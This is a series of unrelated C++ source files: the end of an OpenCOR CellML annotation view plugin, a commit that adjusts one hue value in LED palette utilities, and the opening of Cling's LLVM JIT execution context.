SIGNAL(splitterMoved(const QList<int> &)), this, SLOT(splitterMoved(const QList<int> &))); connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)), this, SLOT(metadataDetailsWidgetSplitterMoved(const QList<int> &))); // Some other connections to handle splitter moves between our view // widgets foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets) { // Make sur that our new view widget is aware of any splitter move // occuring in the other view widget connect(res, SIGNAL(splitterMoved(const QList<int> &)), viewWidget, SLOT(updateSizes(const QList<int> &))); connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)), viewWidget->metadataDetails(), SLOT(updateSizes(const QList<int> &))); // Make sur that the other view widget is aware of any splitter move // occuring in our new view widget connect(viewWidget, SIGNAL(splitterMoved(const QList<int> &)), res, SLOT(updateSizes(const QList<int> &))); connect(viewWidget->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)), res->metadataDetails(), SLOT(updateSizes(const QList<int> &))); } // Keep track of our new view widget mViewWidgets.insert(pFileName, res); } // Return our view widget return res; } //============================================================================== void CellMLAnnotationViewPlugin::removeViewWidget(const QString &pFileName) { // Make sure that we are dealing with a CellML file if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName)) return; // Remove the view widget from our list, should there be one for the given // CellML file CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName); if (viewWidget) { // There is a view widget for the given file name, so delete it and // remove it from our list delete viewWidget; mViewWidgets.remove(pFileName); } } //============================================================================== QString CellMLAnnotationViewPlugin::viewName() const { // Return our CellML annotation view's name return tr("CellML Annotation"); } //============================================================================== QIcon CellMLAnnotationViewPlugin::fileTabIcon(const QString &pFileName) const { Q_UNUSED(pFileName); // We don't handle this interface... return QIcon(); } //============================================================================== bool CellMLAnnotationViewPlugin::saveFile(const QString &pOldFileName, const QString &pNewFileName) { // Retrieve the view widget associated with the 'old' file name and, if any, // save it CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName); return viewWidget?viewWidget->cellmlFile()->save(pNewFileName):false; } //============================================================================== void CellMLAnnotationViewPlugin::fileOpened(const QString &pFileName) { Q_UNUSED(pFileName); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::filePermissionsChanged(const QString &pFileName) { // The given file has been un/locked, so retranslate ourselves (since some // messages may be locked-dependent) // Note: our plugin is such that retranslating it will update the GUI (since // it was easier/faster to do it that way), so all we had to do was to // to make those updateGui() methods locked-dependent... if (mViewWidgets.value(pFileName)) retranslateUi(); } //============================================================================== void CellMLAnnotationViewPlugin::fileModified(const QString &pFileName, const bool &pModified) { Q_UNUSED(pFileName); Q_UNUSED(pModified); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::fileReloaded(const QString &pFileName) { // The given file has been reloaded, so let its corresponding view widget // know about it CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName); if (viewWidget) viewWidget->fileReloaded(); } //============================================================================== void CellMLAnnotationViewPlugin::fileRenamed(const QString &pOldFileName, const QString &pNewFileName) { // A file has been renamed, so update our view widgets mapping CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName); if (viewWidget) { mViewWidgets.insert(pNewFileName, viewWidget); mViewWidgets.remove(pOldFileName); } } //============================================================================== void CellMLAnnotationViewPlugin::fileClosed(const QString &pFileName) { Q_UNUSED(pFileName); // We don't handle this interface... } //============================================================================== bool CellMLAnnotationViewPlugin::canClose() { // We don't handle this interface... return true; } //============================================================================== // I18n interface //============================================================================== void CellMLAnnotationViewPlugin::retranslateUi() { // Retranslate all of our CellML annotation view widgets foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets) viewWidget->retranslateUi(); } //============================================================================== // Plugin specific //============================================================================== void CellMLAnnotationViewPlugin::splitterMoved(const QList<int> &pSizes) { // The splitter of one of our CellML annotation view widgets has been moved, // so update things mSizes = pSizes; } //============================================================================== void CellMLAnnotationViewPlugin::metadataDetailsWidgetSplitterMoved(const QList<int> &pSizes) { // The splitter of one of our CellML annotation view's metadata details // widgets has been moved, so update things mMetadataDetailsWidgetSizes = pSizes; } //============================================================================== } // namespace CellMLAnnotationView } // namespace OpenCOR //============================================================================== // End of file //============================================================================== <|endoftext|>
<commit_before>#include <stdint.h> #include <avr/pgmspace.h> #include "hsv2rgb.h" #include "colorutils.h" void fill_solid( struct CRGB * pFirstLED, int numToFill, const struct CRGB& color) { for( int i = 0; i < numToFill; i++) { pFirstLED[i] = color; } } void fill_rainbow( struct CRGB * pFirstLED, int numToFill, uint8_t initialhue, uint8_t deltahue ) { CHSV hsv; hsv.hue = initialhue; hsv.val = 255; hsv.sat = 255; for( int i = 0; i < numToFill; i++) { hsv2rgb_rainbow( hsv, pFirstLED[i]); hsv.hue += deltahue; } } #define saccum87 int16_t void fill_gradient( CRGB* leds, uint16_t startpos, CHSV startcolor, uint16_t endpos, CHSV endcolor, TGradientDirectionCode directionCode ) { // if the points are in the wrong order, straighten them if( endpos < startpos ) { uint16_t t = endpos; CHSV tc = endcolor; startpos = t; startcolor = tc; endcolor = startcolor; endpos = startpos; } saccum87 huedistance87; saccum87 satdistance87; saccum87 valdistance87; satdistance87 = (endcolor.sat - startcolor.sat) << 7; valdistance87 = (endcolor.val - startcolor.val) << 7; uint8_t huedelta8 = endcolor.hue - startcolor.hue; if( directionCode == SHORTEST_HUES ) { directionCode = FORWARD_HUES; if( huedelta8 > 127) { directionCode = BACKWARD_HUES; } } if( directionCode == LONGEST_HUES ) { directionCode = FORWARD_HUES; if( huedelta8 < 128) { directionCode = BACKWARD_HUES; } } if( directionCode == FORWARD_HUES) { huedistance87 = huedelta8 << 7; } else /* directionCode == BACKWARD_HUES */ { huedistance87 = (uint8_t)(256 - huedelta8) << 7; huedistance87 = -huedistance87; } uint16_t pixeldistance = endpos - startpos; uint16_t p2 = pixeldistance / 2; int16_t divisor = p2 ? p2 : 1; saccum87 huedelta87 = huedistance87 / divisor; saccum87 satdelta87 = satdistance87 / divisor; saccum87 valdelta87 = valdistance87 / divisor; accum88 hue88 = startcolor.hue << 8; accum88 sat88 = startcolor.sat << 8; accum88 val88 = startcolor.val << 8; for( uint16_t i = startpos; i <= endpos; i++) { leds[i] = CHSV( hue88 >> 8, sat88 >> 8, val88 >> 8); hue88 += huedelta87; sat88 += satdelta87; val88 += valdelta87; } } void nscale8_video( CRGB* leds, uint16_t num_leds, uint8_t scale) { for( uint16_t i = 0; i < num_leds; i++) { leds[i].nscale8_video( scale); } } void fade_video(CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8_video( leds, num_leds, 255 - fadeBy); } void fadeLightBy(CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8_video( leds, num_leds, 255 - fadeBy); } void fadeToBlackBy( CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8( leds, num_leds, 255 - fadeBy); } void fade_raw( CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8( leds, num_leds, 255 - fadeBy); } void nscale8_raw( CRGB* leds, uint16_t num_leds, uint8_t scale) { nscale8( leds, num_leds, scale); } void nscale8( CRGB* leds, uint16_t num_leds, uint8_t scale) { for( uint16_t i = 0; i < num_leds; i++) { leds[i].nscale8( scale); } } // CRGB HeatColor( uint8_t temperature) // // Approximates a 'black body radiation' spectrum for // a given 'heat' level. This is useful for animations of 'fire'. // Heat is specified as an arbitrary scale from 0 (cool) to 255 (hot). // This is NOT a chromatically correct 'black body radiation' // spectrum, but it's surprisingly close, and it's fast and small. // // On AVR/Arduino, this typically takes around 70 bytes of program memory, // versus 768 bytes for a full 256-entry RGB lookup table. CRGB HeatColor( uint8_t temperature) { CRGB heatcolor; // Scale 'heat' down from 0-255 to 0-191, // which can then be easily divided into three // equal 'thirds' of 64 units each. uint8_t t192 = scale8_video( temperature, 192); // calculate a value that ramps up from // zero to 255 in each 'third' of the scale. uint8_t heatramp = t192 & 0x3F; // 0..63 heatramp <<= 2; // scale up to 0..252 // now figure out which third of the spectrum we're in: if( t192 & 0x80) { // we're in the hottest third heatcolor.r = 255; // full red heatcolor.g = 255; // full green heatcolor.b = heatramp; // ramp up blue } else if( t192 & 0x40 ) { // we're in the middle third heatcolor.r = 255; // full red heatcolor.g = heatramp; // ramp up green heatcolor.b = 0; // no blue } else { // we're in the coolest third heatcolor.r = heatramp; // ramp up red heatcolor.g = 0; // no green heatcolor.b = 0; // no blue } return heatcolor; } CRGB ColorFromPalette( const CRGBPalette16& pal, uint8_t index, uint8_t brightness, TInterpolationType interpolationType) { uint8_t hi4 = index >> 4; uint8_t lo4 = index & 0x0F; // CRGB rgb1 = pal[ hi4]; const CRGB* entry = pal + hi4; uint8_t red1 = entry->red; uint8_t green1 = entry->green; uint8_t blue1 = entry->blue; uint8_t interpolate = lo4 && (interpolationType != INTERPOLATION_NONE); if( interpolate ) { if( hi4 == 15 ) { entry = pal; } else { entry++; } uint8_t f2 = lo4 << 4; uint8_t f1 = 256 - f2; // rgb1.nscale8(f1); red1 = scale8_LEAVING_R1_DIRTY( red1, f1); green1 = scale8_LEAVING_R1_DIRTY( green1, f1); blue1 = scale8_LEAVING_R1_DIRTY( blue1, f1); // cleanup_R1(); // CRGB rgb2 = pal[ hi4]; // rgb2.nscale8(f2); uint8_t red2 = entry->red; uint8_t green2 = entry->green; uint8_t blue2 = entry->blue; red2 = scale8_LEAVING_R1_DIRTY( red2, f2); green2 = scale8_LEAVING_R1_DIRTY( green2, f2); blue2 = scale8_LEAVING_R1_DIRTY( blue2, f2); cleanup_R1(); // These sums can't overflow, so no qadd8 needed. red1 += red2; green1 += green2; blue1 += blue2; } if( brightness != 255) { nscale8x3_video( red1, green1, blue1, brightness); } return CRGB( red1, green1, blue1); } CRGB ColorFromPalette( const CRGBPalette256& pal, uint8_t index, uint8_t brightness, TInterpolationType) { const CRGB* entry = pal + index; uint8_t red = entry->red; uint8_t green = entry->green; uint8_t blue = entry->blue; if( brightness != 255) { nscale8x3_video( red, green, blue, brightness); } return CRGB( red, green, blue); } typedef prog_uint32_t TProgmemPalette16[16]; const TProgmemPalette16 CloudPalette_p PROGMEM = { CRGB::Blue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::Blue, CRGB::DarkBlue, CRGB::SkyBlue, CRGB::SkyBlue, CRGB::LightBlue, CRGB::White, CRGB::LightBlue, CRGB::SkyBlue }; const TProgmemPalette16 LavaPalette_p PROGMEM = { CRGB::Black, CRGB::Maroon, CRGB::Black, CRGB::Maroon, CRGB::DarkRed, CRGB::Maroon, CRGB::DarkRed, CRGB::DarkRed, CRGB::DarkRed, CRGB::Red, CRGB::Orange, CRGB::White, CRGB::Orange, CRGB::Red, CRGB::DarkRed }; const TProgmemPalette16 OceanPalette_p PROGMEM = { CRGB::MidnightBlue, CRGB::DarkBlue, CRGB::MidnightBlue, CRGB::Navy, CRGB::DarkBlue, CRGB::MediumBlue, CRGB::SeaGreen, CRGB::Teal, CRGB::CadetBlue, CRGB::Blue, CRGB::DarkCyan, CRGB::CornflowerBlue, CRGB::Aquamarine, CRGB::SeaGreen, CRGB::Aqua, CRGB::LightSkyBlue }; const TProgmemPalette16 ForestPalette_p PROGMEM = { CRGB::DarkGreen, CRGB::DarkGreen, CRGB::DarkOliveGreen, CRGB::DarkGreen, CRGB::Green, CRGB::ForestGreen, CRGB::OliveDrab, CRGB::Green, CRGB::SeaGreen, CRGB::MediumAquamarine, CRGB::LimeGreen, CRGB::YellowGreen, CRGB::LightGreen, CRGB::LawnGreen, CRGB::MediumAquamarine, CRGB::ForestGreen }; void InitPalette(CRGBPalette16& pal, const TProgmemPalette16 ppp) { for( uint8_t i = 0; i < 16; i++) { pal[i] = pgm_read_dword_near( ppp + i); } } void UpscalePalette(const CRGBPalette16& srcpal16, CRGBPalette256& destpal256) { for( int i = 0; i < 256; i++) { destpal256[i] = ColorFromPalette( srcpal16, i); } } void SetupCloudColors(CRGBPalette16& pal) { InitPalette( pal, CloudPalette_p); } void SetupLavaColors(CRGBPalette16& pal) { InitPalette( pal, LavaPalette_p); } void SetupOceanColors(CRGBPalette16& pal) { InitPalette( pal, OceanPalette_p); } void SetupForestColors(CRGBPalette16& pal) { InitPalette( pal, ForestPalette_p); } void SetupRainbowColors(CRGBPalette16& pal) { for( uint8_t c = 0; c < 16; c += 1) { uint8_t hue = c << 4; pal[c] = CHSV( hue, 255, 255); } } void SetupRainbowStripesColors(CRGBPalette16& pal) { for( uint8_t c = 0; c < 16; c += 2) { uint8_t hue = c << 4; pal[c] = CHSV( hue, 255, 255); pal[c+1] = CRGB::Black; } } void SetupPartyColors(CRGBPalette16& pal) { fill_gradient( pal, 0, CHSV( HUE_PURPLE,255,255), 7, CHSV(HUE_YELLOW - 12,255,255), FORWARD_HUES); fill_gradient( pal, 8, CHSV( HUE_ORANGE,255,255), 15, CHSV(HUE_BLUE + 12,255,255), BACKWARD_HUES); } void fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex, const CRGBPalette16& pal, uint8_t brightness, TInterpolationType interpType) { uint8_t colorIndex = startIndex; for( uint16_t i = 0; i < N; i++) { L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType); colorIndex += incIndex; } } void fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex, const CRGBPalette256& pal, uint8_t brightness, TInterpolationType interpType) { uint8_t colorIndex = startIndex; for( uint16_t i = 0; i < N; i++) { L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType); colorIndex += incIndex; } } <commit_msg>Corrected a color<commit_after>#include <stdint.h> #include <avr/pgmspace.h> #include "hsv2rgb.h" #include "colorutils.h" void fill_solid( struct CRGB * pFirstLED, int numToFill, const struct CRGB& color) { for( int i = 0; i < numToFill; i++) { pFirstLED[i] = color; } } void fill_rainbow( struct CRGB * pFirstLED, int numToFill, uint8_t initialhue, uint8_t deltahue ) { CHSV hsv; hsv.hue = initialhue; hsv.val = 255; hsv.sat = 255; for( int i = 0; i < numToFill; i++) { hsv2rgb_rainbow( hsv, pFirstLED[i]); hsv.hue += deltahue; } } #define saccum87 int16_t void fill_gradient( CRGB* leds, uint16_t startpos, CHSV startcolor, uint16_t endpos, CHSV endcolor, TGradientDirectionCode directionCode ) { // if the points are in the wrong order, straighten them if( endpos < startpos ) { uint16_t t = endpos; CHSV tc = endcolor; startpos = t; startcolor = tc; endcolor = startcolor; endpos = startpos; } saccum87 huedistance87; saccum87 satdistance87; saccum87 valdistance87; satdistance87 = (endcolor.sat - startcolor.sat) << 7; valdistance87 = (endcolor.val - startcolor.val) << 7; uint8_t huedelta8 = endcolor.hue - startcolor.hue; if( directionCode == SHORTEST_HUES ) { directionCode = FORWARD_HUES; if( huedelta8 > 127) { directionCode = BACKWARD_HUES; } } if( directionCode == LONGEST_HUES ) { directionCode = FORWARD_HUES; if( huedelta8 < 128) { directionCode = BACKWARD_HUES; } } if( directionCode == FORWARD_HUES) { huedistance87 = huedelta8 << 7; } else /* directionCode == BACKWARD_HUES */ { huedistance87 = (uint8_t)(256 - huedelta8) << 7; huedistance87 = -huedistance87; } uint16_t pixeldistance = endpos - startpos; uint16_t p2 = pixeldistance / 2; int16_t divisor = p2 ? p2 : 1; saccum87 huedelta87 = huedistance87 / divisor; saccum87 satdelta87 = satdistance87 / divisor; saccum87 valdelta87 = valdistance87 / divisor; accum88 hue88 = startcolor.hue << 8; accum88 sat88 = startcolor.sat << 8; accum88 val88 = startcolor.val << 8; for( uint16_t i = startpos; i <= endpos; i++) { leds[i] = CHSV( hue88 >> 8, sat88 >> 8, val88 >> 8); hue88 += huedelta87; sat88 += satdelta87; val88 += valdelta87; } } void nscale8_video( CRGB* leds, uint16_t num_leds, uint8_t scale) { for( uint16_t i = 0; i < num_leds; i++) { leds[i].nscale8_video( scale); } } void fade_video(CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8_video( leds, num_leds, 255 - fadeBy); } void fadeLightBy(CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8_video( leds, num_leds, 255 - fadeBy); } void fadeToBlackBy( CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8( leds, num_leds, 255 - fadeBy); } void fade_raw( CRGB* leds, uint16_t num_leds, uint8_t fadeBy) { nscale8( leds, num_leds, 255 - fadeBy); } void nscale8_raw( CRGB* leds, uint16_t num_leds, uint8_t scale) { nscale8( leds, num_leds, scale); } void nscale8( CRGB* leds, uint16_t num_leds, uint8_t scale) { for( uint16_t i = 0; i < num_leds; i++) { leds[i].nscale8( scale); } } // CRGB HeatColor( uint8_t temperature) // // Approximates a 'black body radiation' spectrum for // a given 'heat' level. This is useful for animations of 'fire'. // Heat is specified as an arbitrary scale from 0 (cool) to 255 (hot). // This is NOT a chromatically correct 'black body radiation' // spectrum, but it's surprisingly close, and it's fast and small. // // On AVR/Arduino, this typically takes around 70 bytes of program memory, // versus 768 bytes for a full 256-entry RGB lookup table. CRGB HeatColor( uint8_t temperature) { CRGB heatcolor; // Scale 'heat' down from 0-255 to 0-191, // which can then be easily divided into three // equal 'thirds' of 64 units each. uint8_t t192 = scale8_video( temperature, 192); // calculate a value that ramps up from // zero to 255 in each 'third' of the scale. uint8_t heatramp = t192 & 0x3F; // 0..63 heatramp <<= 2; // scale up to 0..252 // now figure out which third of the spectrum we're in: if( t192 & 0x80) { // we're in the hottest third heatcolor.r = 255; // full red heatcolor.g = 255; // full green heatcolor.b = heatramp; // ramp up blue } else if( t192 & 0x40 ) { // we're in the middle third heatcolor.r = 255; // full red heatcolor.g = heatramp; // ramp up green heatcolor.b = 0; // no blue } else { // we're in the coolest third heatcolor.r = heatramp; // ramp up red heatcolor.g = 0; // no green heatcolor.b = 0; // no blue } return heatcolor; } CRGB ColorFromPalette( const CRGBPalette16& pal, uint8_t index, uint8_t brightness, TInterpolationType interpolationType) { uint8_t hi4 = index >> 4; uint8_t lo4 = index & 0x0F; // CRGB rgb1 = pal[ hi4]; const CRGB* entry = pal + hi4; uint8_t red1 = entry->red; uint8_t green1 = entry->green; uint8_t blue1 = entry->blue; uint8_t interpolate = lo4 && (interpolationType != INTERPOLATION_NONE); if( interpolate ) { if( hi4 == 15 ) { entry = pal; } else { entry++; } uint8_t f2 = lo4 << 4; uint8_t f1 = 256 - f2; // rgb1.nscale8(f1); red1 = scale8_LEAVING_R1_DIRTY( red1, f1); green1 = scale8_LEAVING_R1_DIRTY( green1, f1); blue1 = scale8_LEAVING_R1_DIRTY( blue1, f1); // cleanup_R1(); // CRGB rgb2 = pal[ hi4]; // rgb2.nscale8(f2); uint8_t red2 = entry->red; uint8_t green2 = entry->green; uint8_t blue2 = entry->blue; red2 = scale8_LEAVING_R1_DIRTY( red2, f2); green2 = scale8_LEAVING_R1_DIRTY( green2, f2); blue2 = scale8_LEAVING_R1_DIRTY( blue2, f2); cleanup_R1(); // These sums can't overflow, so no qadd8 needed. red1 += red2; green1 += green2; blue1 += blue2; } if( brightness != 255) { nscale8x3_video( red1, green1, blue1, brightness); } return CRGB( red1, green1, blue1); } CRGB ColorFromPalette( const CRGBPalette256& pal, uint8_t index, uint8_t brightness, TInterpolationType) { const CRGB* entry = pal + index; uint8_t red = entry->red; uint8_t green = entry->green; uint8_t blue = entry->blue; if( brightness != 255) { nscale8x3_video( red, green, blue, brightness); } return CRGB( red, green, blue); } typedef prog_uint32_t TProgmemPalette16[16]; const TProgmemPalette16 CloudPalette_p PROGMEM = { CRGB::Blue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::DarkBlue, CRGB::Blue, CRGB::DarkBlue, CRGB::SkyBlue, CRGB::SkyBlue, CRGB::LightBlue, CRGB::White, CRGB::LightBlue, CRGB::SkyBlue }; const TProgmemPalette16 LavaPalette_p PROGMEM = { CRGB::Black, CRGB::Maroon, CRGB::Black, CRGB::Maroon, CRGB::DarkRed, CRGB::Maroon, CRGB::DarkRed, CRGB::DarkRed, CRGB::DarkRed, CRGB::Red, CRGB::Orange, CRGB::White, CRGB::Orange, CRGB::Red, CRGB::DarkRed }; const TProgmemPalette16 OceanPalette_p PROGMEM = { CRGB::MidnightBlue, CRGB::DarkBlue, CRGB::MidnightBlue, CRGB::Navy, CRGB::DarkBlue, CRGB::MediumBlue, CRGB::SeaGreen, CRGB::Teal, CRGB::CadetBlue, CRGB::Blue, CRGB::DarkCyan, CRGB::CornflowerBlue, CRGB::Aquamarine, CRGB::SeaGreen, CRGB::Aqua, CRGB::LightSkyBlue }; const TProgmemPalette16 ForestPalette_p PROGMEM = { CRGB::DarkGreen, CRGB::DarkGreen, CRGB::DarkOliveGreen, CRGB::DarkGreen, CRGB::Green, CRGB::ForestGreen, CRGB::OliveDrab, CRGB::Green, CRGB::SeaGreen, CRGB::MediumAquamarine, CRGB::LimeGreen, CRGB::YellowGreen, CRGB::LightGreen, CRGB::LawnGreen, CRGB::MediumAquamarine, CRGB::ForestGreen }; void InitPalette(CRGBPalette16& pal, const TProgmemPalette16 ppp) { for( uint8_t i = 0; i < 16; i++) { pal[i] = pgm_read_dword_near( ppp + i); } } void UpscalePalette(const CRGBPalette16& srcpal16, CRGBPalette256& destpal256) { for( int i = 0; i < 256; i++) { destpal256[i] = ColorFromPalette( srcpal16, i); } } void SetupCloudColors(CRGBPalette16& pal) { InitPalette( pal, CloudPalette_p); } void SetupLavaColors(CRGBPalette16& pal) { InitPalette( pal, LavaPalette_p); } void SetupOceanColors(CRGBPalette16& pal) { InitPalette( pal, OceanPalette_p); } void SetupForestColors(CRGBPalette16& pal) { InitPalette( pal, ForestPalette_p); } void SetupRainbowColors(CRGBPalette16& pal) { for( uint8_t c = 0; c < 16; c += 1) { uint8_t hue = c << 4; pal[c] = CHSV( hue, 255, 255); } } void SetupRainbowStripesColors(CRGBPalette16& pal) { for( uint8_t c = 0; c < 16; c += 2) { uint8_t hue = c << 4; pal[c] = CHSV( hue, 255, 255); pal[c+1] = CRGB::Black; } } void SetupPartyColors(CRGBPalette16& pal) { fill_gradient( pal, 0, CHSV( HUE_PURPLE,255,255), 7, CHSV(HUE_YELLOW - 16,255,255), FORWARD_HUES); fill_gradient( pal, 8, CHSV( HUE_ORANGE,255,255), 15, CHSV(HUE_BLUE + 12,255,255), BACKWARD_HUES); } void fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex, const CRGBPalette16& pal, uint8_t brightness, TInterpolationType interpType) { uint8_t colorIndex = startIndex; for( uint16_t i = 0; i < N; i++) { L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType); colorIndex += incIndex; } } void fill_palette(CRGB* L, uint16_t N, uint8_t startIndex, uint8_t incIndex, const CRGBPalette256& pal, uint8_t brightness, TInterpolationType interpType) { uint8_t colorIndex = startIndex; for( uint16_t i = 0; i < N; i++) { L[i] = ColorFromPalette( pal, colorIndex, brightness, interpType); colorIndex += incIndex; } } <|endoftext|>
<commit_before>//--------------------------------------------------------------------*- C++ -*- // CLING - the C++ LLVM-based InterpreterG :) // version: $Id$ // author: Axel Naumann <[email protected]> //------------------------------------------------------------------------------ #include "ExecutionContext.h" #include "cling/Interpreter/StoredValueRef.h" #include "clang/AST/Type.h" #include "llvm/IR/Constants.h" #include "llvm/IR/Module.h" #include "llvm/PassManager.h" #include "llvm/ADT/SmallPtrSet.h" #include "llvm/Analysis/Verifier.h" #include "llvm/Assembly/PrintModulePass.h" #include "llvm/ExecutionEngine/GenericValue.h" #include "llvm/ExecutionEngine/JIT.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Support/DynamicLibrary.h" using namespace cling; std::set<std::string> ExecutionContext::m_unresolvedSymbols; std::vector<ExecutionContext::LazyFunctionCreatorFunc_t> ExecutionContext::m_lazyFuncCreator; bool ExecutionContext::m_LazyFuncCreatorDiagsSuppressed = false; // Keep in source: OwningPtr<ExecutionEngine> needs #include ExecutionEngine ExecutionContext::ExecutionContext(llvm::Module* m) : m_RunningStaticInits(false), m_CxaAtExitRemapped(false) { assert(m && "llvm::Module must not be null!"); m_AtExitFuncs.reserve(256); InitializeBuilder(m); } // Keep in source: ~OwningPtr<ExecutionEngine> needs #include ExecutionEngine ExecutionContext::~ExecutionContext() { for (size_t I = 0, N = m_AtExitFuncs.size(); I < N; ++I) { const CXAAtExitElement& AEE = m_AtExitFuncs[N - I - 1]; (*AEE.m_Func)(AEE.m_Arg); } } void ExecutionContext::InitializeBuilder(llvm::Module* m) { // // Create an execution engine to use. // assert(m && "Module cannot be null"); // Note: Engine takes ownership of the module. llvm::EngineBuilder builder(m); std::string errMsg; builder.setErrorStr(&errMsg); builder.setOptLevel(llvm::CodeGenOpt::Less); builder.setEngineKind(llvm::EngineKind::JIT); builder.setAllocateGVsWithCode(false); // EngineBuilder uses default c'ted TargetOptions, too: llvm::TargetOptions TargetOpts; TargetOpts.NoFramePointerElim = 1; TargetOpts.JITEmitDebugInfo = 1; builder.setTargetOptions(TargetOpts); m_engine.reset(builder.create()); if (!m_engine) llvm::errs() << "cling::ExecutionContext::InitializeBuilder(): " << errMsg; assert(m_engine && "Cannot create module!"); // install lazy function creators m_engine->InstallLazyFunctionCreator(NotifyLazyFunctionCreators); } int ExecutionContext::CXAAtExit(void (*func) (void*), void* arg, void* dso, void* clangDecl) { // Register a CXAAtExit function clang::Decl* LastTLD = (clang::Decl*)clangDecl; m_AtExitFuncs.push_back(CXAAtExitElement(func, arg, dso, LastTLD)); return 0; // happiness } void unresolvedSymbol() { // throw exception? llvm::errs() << "ExecutionContext: calling unresolved symbol, " "see previous error message!\n"; } void* ExecutionContext::HandleMissingFunction(const std::string& mangled_name) { // Not found in the map, add the symbol in the list of unresolved symbols if (m_unresolvedSymbols.insert(mangled_name).second) { llvm::errs() << "ExecutionContext: use of undefined symbol '" << mangled_name << "'!\n"; } // Avoid "ISO C++ forbids casting between pointer-to-function and // pointer-to-object": return (void*)reinterpret_cast<size_t>(unresolvedSymbol); } void* ExecutionContext::NotifyLazyFunctionCreators(const std::string& mangled_name) { for (std::vector<LazyFunctionCreatorFunc_t>::iterator it = m_lazyFuncCreator.begin(), et = m_lazyFuncCreator.end(); it != et; ++it) { void* ret = (void*)((LazyFunctionCreatorFunc_t)*it)(mangled_name); if (ret) return ret; } if (m_LazyFuncCreatorDiagsSuppressed) return 0; return HandleMissingFunction(mangled_name); } static void freeCallersOfUnresolvedSymbols(llvm::SmallVectorImpl<llvm::Function*>& funcsToFree, llvm::ExecutionEngine* engine) { llvm::SmallPtrSet<llvm::Function*, 40> funcsToFreeUnique; for (size_t i = 0; i < funcsToFree.size(); ++i) { llvm::Function* func = funcsToFree[i]; if (!func) continue; if (funcsToFreeUnique.insert(func)) { for (llvm::Value::use_iterator IU = func->use_begin(), EU = func->use_end(); IU != EU; ++IU) { llvm::Instruction* instUser = llvm::dyn_cast<llvm::Instruction>(*IU); if (!instUser) continue; if (!instUser->getParent()) continue; if (llvm::Function* userFunc = instUser->getParent()->getParent()) funcsToFree.push_back(userFunc); } } } for (llvm::SmallPtrSet<llvm::Function*, 40>::iterator I = funcsToFreeUnique.begin(), E = funcsToFreeUnique.end(); I != E; ++I) { // This should force the JIT to recompile the function. But the stubs stay, // and the JIT reuses the stubs now pointing nowhere, i.e. without updating // the machine code address. Fix the JIT, or hope that MCJIT helps. //engine->freeMachineCodeForFunction(*I); engine->updateGlobalMapping(*I, 0); } } ExecutionContext::ExecutionResult ExecutionContext::executeFunction(llvm::StringRef funcname, const clang::ASTContext& Ctx, clang::QualType retType, StoredValueRef* returnValue) { // Call a function without arguments, or with an SRet argument, see SRet below if (!m_CxaAtExitRemapped) { // Rewire atexit: llvm::Function* atExit = m_engine->FindFunctionNamed("__cxa_atexit"); llvm::Function* clingAtExit = m_engine->FindFunctionNamed("cling_cxa_atexit"); if (atExit && clingAtExit) { void* clingAtExitAddr = m_engine->getPointerToFunction(clingAtExit); assert(clingAtExitAddr && "cannot find cling_cxa_atexit"); m_engine->updateGlobalMapping(atExit, clingAtExitAddr); m_CxaAtExitRemapped = true; } } // We don't care whether something was unresolved before. m_unresolvedSymbols.clear(); llvm::Function* f = m_engine->FindFunctionNamed(funcname.str().c_str()); if (!f) { llvm::errs() << "ExecutionContext::executeFunction: " "could not find function named " << funcname << '\n'; return kExeFunctionNotCompiled; } m_engine->getPointerToFunction(f); // check if there is any unresolved symbol in the list if (!m_unresolvedSymbols.empty()) { llvm::SmallVector<llvm::Function*, 100> funcsToFree; for (std::set<std::string>::const_iterator i = m_unresolvedSymbols.begin(), e = m_unresolvedSymbols.end(); i != e; ++i) { llvm::errs() << "ExecutionContext::executeFunction: symbol '" << *i << "' unresolved while linking function '" << funcname << "'!\n"; llvm::Function *ff = m_engine->FindFunctionNamed(i->c_str()); assert(ff && "cannot find function to free"); funcsToFree.push_back(ff); } freeCallersOfUnresolvedSymbols(funcsToFree, m_engine.get()); m_unresolvedSymbols.clear(); return kExeUnresolvedSymbols; } std::vector<llvm::GenericValue> args; bool wantReturn = (returnValue); StoredValueRef aggregateRet; if (f->hasStructRetAttr()) { // Function expects to receive the storage for the returned aggregate as // first argument. Allocate returnValue: aggregateRet = StoredValueRef::allocate(Ctx, retType, f->getReturnType()); if (returnValue) { *returnValue = aggregateRet; } else { returnValue = &aggregateRet; } args.push_back(returnValue->get().getGV()); // will get set as arg0, must not assign. wantReturn = false; } if (wantReturn) { llvm::GenericValue gvRet = m_engine->runFunction(f, args); // rescue the ret value (which might be aggregate) from the stack *returnValue = StoredValueRef::bitwiseCopy(Ctx, Value(gvRet, retType)); } else { m_engine->runFunction(f, args); } return kExeSuccess; } 